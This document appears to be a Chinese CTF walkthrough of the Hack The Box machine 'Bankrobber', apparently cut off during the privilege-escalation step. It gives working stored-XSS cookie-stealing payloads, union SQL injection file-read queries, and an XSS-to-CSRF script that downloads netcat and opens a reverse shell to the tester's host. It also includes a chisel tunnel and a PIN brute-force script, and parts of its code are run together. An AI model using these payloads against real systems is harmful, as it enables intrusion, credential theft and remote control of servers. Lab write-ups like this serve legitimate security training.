[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲区溢出

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信息收集

IP Address	Opening Ports
10.10.10.154	TCP:80，443，445，3306

$ nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE      VERSION                                               
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                     
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                              
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.1
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP && XSS-MDOG

注册用户

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/test.js"></script>

Cookie中是以用户名密码再次base64进行身份认证
comment字段添加xss语句。

https://github.com/MartinxMax/MDOG

$ wine MDOG.exe

复制payload,并且启动

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24:10000/Main.js"></script>

等待一会获取到cookie

$ echo YWRtaW4= | base64 -d

$ echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d

username:admin password:Hopelessromantic

将所有文件从默认的 Xampp 文件夹中移出：待办

SQLI

输入2a可以直接判断这是一个字符注入类型闭合

再次输入2’-'1确认存在sql注入

1' order by 3 --

判断存在三个字段

-1' union select 1,@@version,3 --

-1' union select 1,load_file('C:/Windows/win.ini'),3 --

确认可以进行文件读取

根据之前的notes提示网站路径可能在c:/xampp/htdocs

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/index.php')),3 --

-1' union select 1, 'hello', 3 into outfile 'c:/xampp/htdocs/test.php' --

但是没有写权限

Local-RCE

读取backdoorchecker.php

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/admin/backdoorchecker.php')),3 --

<?php
include('../link.php');
include('auth.php');$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad 	  = array('$(','&');
$good 	  = "ls";if(strtolower(substr(PHP_OS,0,3)) == "win"){$good = "dir";
}if($username == "admin" && $password == "Hopelessromantic"){if(isset($_POST['cmd'])){// FILTER ESCAPE CHARSforeach($bad as $char){if(strpos($_POST['cmd'],$char) !== false){die("You're not allowed to do that.");}}// CHECK IF THE FIRST 2 CHARS ARE LSif(substr($_POST['cmd'], 0,strlen($good)) != $good){die("It's only allowed to use the $good command");}if($_SERVER['REMOTE_ADDR'] == "::1"){system($_POST['cmd']);} else{echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";}}
} else{echo "You are not allowed to use this function!";
}
?>

XSS+XSRF + Local-RCE

<!-- index.js -->
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.24/nc64.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.16.24 10032';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

再次返回到普通用户,使管理员触发xss触发CSRF触发rce载荷

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=testfromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/index.js"></script>

User.txt

70e06a7bd26c92f93c4ebdb87ed89144

权限提升

TCP 910 转账模拟

建议把会话转移到msf，会稳定比较保险。

C:\xampp\htdocs\admin>netstat -ano

C:\xampp\htdocs\admin>powershell -c "wget 10.10.16.24/chisel.exe -o %TEMP%/chisel.exe"

$ /usr/bin/chisel server -port 10000 --reverse

C:\xampp\htdocs\admin>%TEMP%/chisel.exe client 10.10.16.24:10000 R:910:localhost:910

爆破pin码

#!/usr/bin/env python3import socket
import sysfor i in range(10000):sys.stdout.write(f"\rTrying: {i:04d}")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('localhost', 910))s.recv(4096)s.send(f"{i:04d}\n".encode())resp = s.recv(4096)if not b"Access denied" in resp:print(f"\rFound pin: {i:04d}")breaks.close()